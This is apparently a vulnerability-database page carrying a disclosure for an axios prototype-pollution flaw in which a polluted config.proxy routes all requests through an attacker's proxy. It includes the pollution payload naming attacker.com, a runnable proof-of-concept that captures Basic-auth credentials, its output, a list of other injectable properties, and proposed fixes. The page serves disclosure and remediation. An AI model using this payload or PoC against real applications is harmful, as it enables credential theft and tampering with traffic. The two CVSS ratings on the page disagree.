Vulnerability Database

346,508

Total vulnerabilities in the database

CVE-2026-44494 — axios / axios

Unintended Proxy or Intermediary ('Confused Deputy')

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

  1. mergeConfig iterates Object.keys({...defaults, ...userConfig})proxy is NOT in this set
  2. defaultToConfig2 for proxy is never called
  3. The merged config has no own proxy property
  4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
  5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });

3. The Execution

At http.js:668-670:

setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );

setProxy() at http.js:191-239 then:

function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }

4. The Impact (Full MITM)

The attacker's proxy server receives:

GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, */*

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:

  • Sees every request URL, header, and body
  • Modifies every response (inject malicious data, change auth results)
  • Logs all API keys, session tokens, and passwords
  • Operates as an invisible proxy — the developer has no indication

5. Verified PoC Code

import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, */*", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

  • Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
  • Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
  • Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
  • Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
  • Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios_26)

| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

// In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact:

  • config.proxy — MITM
  • config.socketPath — Unix socket SSRF
  • config.transport — request hijack
  • config.lookup — DNS hijack
  • config.beforeRedirect — redirect manipulation
  • config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

// In lib/core/mergeConfig.js const config = Object.create(null);

Resources

Timeline

| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.